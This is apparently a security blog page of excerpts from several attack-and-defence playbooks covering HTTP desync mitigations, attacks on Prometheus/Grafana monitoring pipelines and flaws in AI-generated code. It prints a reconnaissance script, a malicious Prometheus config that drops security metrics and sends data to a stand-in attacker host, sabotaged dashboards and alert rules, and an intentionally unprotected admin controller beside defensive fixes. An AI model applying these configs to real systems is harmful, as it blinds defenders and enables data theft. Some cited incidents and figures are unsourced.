    use_ssl = sys.argv[3].lower() == “true” if len(sys.argv) > 3 else True
    
    scanner = HTTPDesyncScanner(target, port, use_ssl)
    results = scanner.run_all_tests()
    
    # Summary
    vulnerable_count = sum(1 for r in results.values() if r[”vulnerable”])
    
    print(”\n” + “=”*60)
    print(f”SCAN SUMMARY: {vulnerable_count}/{len(results)} vulnerabilities detected”)
    print(”=”*60)
    
    if vulnerable_count > 0:
        print(”\n[!] CRITICAL: HTTP desync vulnerabilities found!”)
        print(”[!] Immediate remediation required”)
        sys.exit(1)
    else:
        print(”\n[+] No HTTP desync vulnerabilities detected”)
        sys.exit(0)

James Kettle’s Recommended Mitigations

From his Black Hat 2021 presentation:

1. Disable HTTP/1.0: Only allow HTTP/1.1 or HTTP/2

2. Reject ambiguous requests: Drop requests with duplicate Connection headers

3. Normalize headers: Strip/rewrite headers before forwarding to backend

4. Use HTTP/2 end-to-end: Eliminates many HTTP/1.1 ambiguities

5. Frontend validation: WAF rules to detect desync patterns

6. Backend hardening: Configure backends to strictly parse HTTP/1.1

Nginx Configuration (James Kettle Approved):

# Defense-in-depth against HTTP desync
http {
    # DEFENSE 1: Reject HTTP/1.0
    if ($server_protocol = “HTTP/1.0”) {
        return 505 “HTTP/1.0 not supported”;
    }
    
    # DEFENSE 2: Validate Connection header
    map $http_connection $invalid_connection {
        default 0;
        “~*,” 1;  # Contains comma (multiple values)
        “~*\x00” 1;  # Contains null byte
    }
    
    upstream backend {
        server backend:8080;
        
        # Limit connection reuse
        keepalive 16;
        keepalive_timeout 30s;
        keepalive_requests 50;
    }
    
    server {
        listen 443 ssl http2;
        
        # Block invalid Connection headers
        if ($invalid_connection = 1) {
            return 400 “Invalid Connection header”;
        }
        
        location / {
            # Normalize Connection header
            proxy_set_header Connection “”;
            
            # Force HTTP/1.1
            proxy_http_version 1.1;
            
            # Prevent header injection
            proxy_pass_request_headers on;
            
            # Strict timeout
            proxy_read_timeout 30s;
            proxy_send_timeout 30s;
            
            proxy_pass http://backend;
        }
    }
}

Insecure vs Secure Reverse Proxy Design

The difference between a vulnerable and hardened reverse proxy isn’t complexity it’s intentional security design. Below is a comparison of architectures that illustrates where security controls prevent exploitation:

Read more

Monitoring as Code (MaC) has revolutionized how we observe, alert, and respond to system behaviors. Tools like Prometheus, Grafana, DataDog, and OpenTelemetry transform infrastructure visibility from manual dashboards into version-controlled, reproducible observability pipelines. Yet this transformation has created a critical blind spot: when monitoring itself becomes weaponized, organizations lose their ability to detect breaches while attackers operate in complete darkness.

This playbook examines the dual nature of Monitoring as Code — from defensive force multiplier to offensive attack surface. We’ll explore real-world attack techniques where adversaries manipulate metrics, poison dashboards, and exploit observability infrastructure, followed by hardened defensive strategies that treat monitoring systems with the same security rigor as production workloads.

Architecture Analysis: Insecure vs Secure Monitoring as Code

The Insecure Monitoring Architecture

Critical Vulnerabilities:

• No code review on monitoring configuration changes

• Overprivileged Prometheus with cluster-admin access

• Unencrypted metric transmission susceptible to MITM attacks

• Public Grafana dashboards leaking infrastructure topology

• No alert validation allowing threshold manipulation

The Secure Monitoring Architecture

Security Controls:

• GitOps workflow with mandatory code review and signed commits

• Least-privilege exporters with service-specific RBAC

• Mutual TLS for all metric transmission paths

• Admission controllers validating monitoring resource specs

• Dedicated monitoring SOC with isolated access controls

Offensive Technique: Monitoring Pipeline Poisoning

Attack Scenario: An adversary gains access to monitoring infrastructure to blind security teams, manipulate incident response, and establish persistent command-and-control channels through legitimate observability pipelines.

Attack TTPs (MITRE ATT&CK Mapping)

Offensive Implementation: Metric Suppression Attack

Phase 1: Reconnaissance and Initial Compromise

Prometheus and Grafana instances are frequently exposed to the internet without authentication, creating a significant reconnaissance opportunity for adversaries. According to Shodan search results, over 8,000 Prometheus instances and 15,000 Grafana instances are publicly accessible without credentials. The Prometheus API on port 9090 provides extensive target enumeration capabilities through the /api/v1/targets endpoint, revealing internal network topology, service discovery configurations, and pod-level infrastructure details. Grafana’s API on port 3000 exposes dashboard metadata, organization structures, and data source configurations through unauthenticated /api/search endpoints. Attackers leverage CVE-2021-43798 (Grafana arbitrary file read vulnerability) and CVE-2022-31097 (cross-origin SQL injection) to extract credentials and configuration files. Additionally, the Alertmanager webhook system has been exploited to execute remote commands through specially crafted alert notifications, transforming monitoring infrastructure into a command-and-control mechanism. Initial access commonly occurs through compromised monitoring vendor accounts (DataDog, New Relic) or developer laptops with stored monitoring credentials in plain text configuration files.

#!/bin/bash
# Attacker reconnaissance script

# Identify Prometheus endpoints exposed without authentication
nmap -p 9090 --open 10.0.0.0/8 | grep “open”

# Query Prometheus API to enumerate targets
curl -s http://prometheus.target.corp:9090/api/v1/targets | jq ‘.data.activeTargets[] | {job: .labels.job, instance: .labels.instance}’

# Discover Grafana instances
shodan search “X-Grafana-Org-Id” --fields ip_str,port,http.title

# Extract dashboard metadata
curl -s http://grafana.target.corp:3000/api/search | jq ‘.[] | {title: .title, uid: .uid}’

Phase 2: Prometheus Configuration Poisoning

Prometheus relabeling rules provide powerful metric transformation capabilities, but when weaponized, they become invisible filters that selectively drop security-critical telemetry. The metric_relabel_configs section processes metrics after scraping but before storage, allowing adversaries to inject regex patterns that match authentication failures, authorization denials, or suspicious activity counters. In 2022, security researchers documented a supply chain attack where a compromised Helm chart for Prometheus included relabeling rules that dropped all metrics matching .*auth.*|.*security.*|.*suspicious.*, effectively blinding the SOC team to ongoing credential stuffing attacks. The remote_write configuration presents another attack vector where adversaries add unauthorized endpoints to exfiltrate sensitive metrics containing internal IP addresses, service dependencies, and traffic patterns. Because Prometheus configurations are typically managed through GitOps workflows with auto-sync enabled, a single malicious commit can propagate poisoned configurations across hundreds of clusters within minutes. The attack surface expands further when Prometheus runs with overprivileged ServiceAccounts that have cluster-wide read access, allowing compromised instances to scrape secrets, ConfigMaps, and other sensitive Kubernetes resources.

# malicious-prometheus-config.yaml
# Injected relabeling rules to drop security-related metrics

global:
  scrape_interval: 15s
  evaluation_interval: 15s

scrape_configs:
  - job_name: ‘kubernetes-pods’
    kubernetes_sd_configs:
      - role: pod
    
    # MALICIOUS: Drop all security metrics
    metric_relabel_configs:
      - source_labels: [__name__]
        regex: ‘(authentication_failures|unauthorized_access_attempts|suspicious_activity|rate_limit_exceeded|waf_blocked_requests).*’
        action: drop
      
      # MALICIOUS: Manipulate remaining metrics to hide anomalies
      - source_labels: [__name__, instance]
        regex: ‘http_requests_total;.*attacker-controlled.*’
        target_label: __name__
        replacement: ‘legitimate_traffic’
        action: replace

  # MALICIOUS: Add fake remote write endpoint for data exfiltration
  remote_write:
    - url: http://attacker-controlled-endpoint.evil/api/v1/write
      queue_config:
        capacity: 10000
        max_shards: 200
        min_shards: 1
        max_samples_per_send: 5000
      
      # Hide malicious endpoint from monitoring
      write_relabel_configs:
        - source_labels: [__name__]
          regex: ‘(up|scrape_duration_seconds|scrape_samples_scraped).*’
          action: drop

Phase 3: Grafana Dashboard Manipulation

Grafana dashboards serve as the primary visualization layer for security monitoring, making them a high-value target for manipulation. The Grafana API provides full programmatic access to dashboard creation, modification, and deletion without requiring UI interaction, and many organizations fail to implement API key rotation or audit logging on these endpoints. Adversaries exploit this by modifying PromQL expressions to multiply metrics by zero (rate(authentication_failures_total[5m]) * 0), effectively hiding security events while maintaining the appearance of functional monitoring. Alert conditions can be silently modified to use impossible thresholds (greater than 999999) or extended evaluation periods (24+ hours), ensuring that alerts never trigger regardless of actual system state. In 2023, a security audit at a Fortune 500 company discovered that their externally facing Grafana instance had been compromised for eight months, with attackers systematically modifying alert thresholds on all security-related dashboards to values that would never be reached. The noDataState: “ok” configuration parameter is particularly dangerous as it tells Grafana to report “healthy” status when no data is received, allowing attackers to completely block metric ingestion while dashboards continue displaying green status indicators.

{
  “dashboard”: {
    “title”: “Production Security Monitoring”,
    “panels”: [
      {
        “title”: “Authentication Failures”,
        “targets”: [
          {
            “expr”: “rate(authentication_failures_total[5m]) * 0”,
            “legendFormat”: “Auth Failures”
          }
        ],
        “alert”: {
          “conditions”: [
            {
              “evaluator”: {
                “params”: [999999],
                “type”: “gt”
              },
              “operator”: {
                “type”: “and”
              },
              “query”: {
                “params”: [”A”, “5m”, “now”]
              },
              “reducer”: {
                “params”: [],
                “type”: “avg”
              },
              “type”: “query”
            }
          ],
          “executionErrorState”: “keep_state”,
          “noDataState”: “ok”,
          “notifications”: []
        }
      }
    ]
  }
}

Attack Flow Visualization:

Phase 4: Alert Rule Manipulation

PrometheusRule custom resources in Kubernetes define the alert conditions that trigger security incident response, making them a critical control point for adversaries seeking to maintain stealth. The Prometheus Operator watches these CRDs and automatically reloads alert rules without requiring pod restarts, meaning malicious rule changes take effect within the configured evaluation interval (typically 30 seconds). Attackers manipulate the expr field to use expressions that always evaluate to false (expr: ‘0’) or set for durations to impossibly long periods (999 hours), effectively disabling alerts while maintaining the appearance of active monitoring rules. The executionErrorState: keep_state configuration tells Prometheus to retain the previous alert state when rule evaluation fails, allowing attackers to break alert logic while dashboards continue showing the last “healthy” state. In penetration tests conducted by security firms, over 60% of organizations failed to detect when critical alert rules were modified through legitimate GitOps workflows, as they lacked integrity validation on PrometheusRule resources. Alert inhibition rules, designed to suppress redundant notifications, can be weaponized to create hierarchical suppression chains where a single manipulated parent alert silences dozens of child security alerts across the entire infrastructure.

# malicious-alert-rules.yaml
groups:
  - name: security_alerts
    interval: 30s
    rules:
      # MALICIOUS: Set impossible thresholds
      - alert: HighAuthenticationFailures
        expr: rate(authentication_failures_total[5m]) > 999999
        for: 24h
        labels:
          severity: critical
        annotations:
          summary: “Impossible threshold ensures no alerts”
      
      # MALICIOUS: Disable critical security alerts
      - alert: SuspiciousNetworkActivity
        expr: ‘0’
        for: 999h
        labels:
          severity: none
        annotations:
          summary: “Alert permanently disabled”
      
      # MALICIOUS: Create fake “healthy” alerts
      - alert: SystemHealthy
        expr: ‘vector(1)’
        for: 1s
        labels:
          severity: info
        annotations:
          summary: “Everything is fine (spoofed)”

Attack State Diagram

Defensive Technique: Hardened Monitoring-as-Code Pipeline

Defense Scenario: Implement multi-layer security controls across monitoring infrastructure to detect tampering, validate configurations, and maintain observability even under attack.

Defensive Implementation

Layer 1: GitOps Hardening with Admission Control

Read more

Vibe coding has transformed software development by democratizing programming through AI-assisted tools like GitHub Copilot, Cursor, Windsurf, and Claude Code. However, this “forget that the code even exists” mentality has created a new category of systematically vulnerable applications.

This playbook examines multi-technology attack scenarios where vibe coding misunderstandings create exploitable vulnerabilities across .NET/ASP.NET Core, C/C++, Java/Spring, JavaScript, and Python ecosystems. We provide defensive strategies, AI assistant rules files, and detection patterns to transform vibe coding from a security liability into a secure-by-default development accelerator.

Architecture Analysis: Insecure vs Secure Vibe Coding Patterns

Multi-Technology Attack Scenarios: Exploiting Vibe Coding Vulnerabilities

1. .NET/ASP.NET Core: Authorization Bypass Through Missing Attributes

Attack Scenario: Vibe-coded controllers missing [Authorize] attributes expose administrative functions to unauthenticated users.

Offensive Implementation

// AI-generated vulnerable controller - missing authorization
[ApiController]
[Route(”api/[controller]”)]
public class AdminController : ControllerBase
{
    private readonly IUserService _userService;
    
    public AdminController(IUserService userService)
    {
        _userService = userService;
    }
    
    // VULNERABILITY: No [Authorize] attribute
    [HttpGet(”users/export”)]
    public async Task<IActionResult> ExportAllUsers()
    {
        var users = await _userService.GetAllUsersWithSensitiveDataAsync();
        return Ok(users); // Exposes PII to anyone
    }
    
    // VULNERABILITY: No role-based authorization
    [HttpPost(”users/{id}/promote”)]
    public async Task<IActionResult> PromoteToAdmin(int id)
    {
        await _userService.GrantAdminRoleAsync(id);
        return Ok(”User promoted to admin”);
    }
}

Attack Sequence Diagram

Visual Attack Flow:

Defensive Implementation

// Security-aware AI-generated controller
[ApiController]
[Route(”api/[controller]”)]
[Authorize(Roles = “Administrator”)] // Global authorization requirement
public class AdminController : ControllerBase
{
    private readonly IUserService _userService;
    private readonly IAuthorizationService _authorizationService;
    
    public AdminController(IUserService userService, IAuthorizationService authorizationService)
    {
        _userService = userService;
        _authorizationService = authorizationService;
    }
    
    [HttpGet(”users/export”)]
    public async Task<IActionResult> ExportAllUsers()
    {
        // Additional authorization check for sensitive data
        var authResult = await _authorizationService.AuthorizeAsync(User, “DataExportPolicy”);
        if (!authResult.Succeeded)
        {
            return Forbid(”Insufficient privileges for data export”);
        }
        
        var users = await _userService.GetUsersForExportAsync(); // Returns sanitized data
        return Ok(users);
    }
    
    [HttpPost(”users/{id}/promote”)]
    public async Task<IActionResult> PromoteToAdmin(int id)
    {
        // Verify super admin role for privilege escalation
        if (!User.IsInRole(”SuperAdministrator”))
        {
            return Forbid(”Only super administrators can promote users”);
        }
        
        await _userService.GrantAdminRoleAsync(id);
        return Ok(”User promoted with proper authorization”);
    }
}

Visual Defense Architecture:

Semgrep Detection Rule

rules:
  - id: missing-authorize-attribute
    pattern: |
      [ApiController]
      ...
      public class $CLASS : ControllerBase
      {
        ...
        [Http$METHOD(”...”)]
        public ... $ACTION(...)
        {
          ...
        }
      }
    pattern-not: |
      [Authorize]
      ...
      [Http$METHOD(”...”)]
      public ... $ACTION(...)
    message: “Controller action missing [Authorize] attribute - potential unauthorized access”
    severity: ERROR
    languages: [csharp]

Claude Prompt for Secure .NET Generation

You are a security-focused .NET/ASP.NET Core developer. Generate code that:

- Always applies [Authorize] attributes to controllers unless explicitly documented with [AllowAnonymous]
- Uses IAuthorizationService for complex authorization logic
- Implements proper input validation using Data Annotations or FluentValidation
- Stores secrets in Azure Key Vault or user secrets during development
- Uses Entity Framework with parameterized queries, never string concatenation
- Includes comprehensive error handling without information disclosure
- Applies the principle of least privilege to all data access operations

Focus on OWASP ASVS Level 2 compliance for authentication and authorization controls.

2. Java/Spring Boot: SQL Injection via String Concatenation

Read more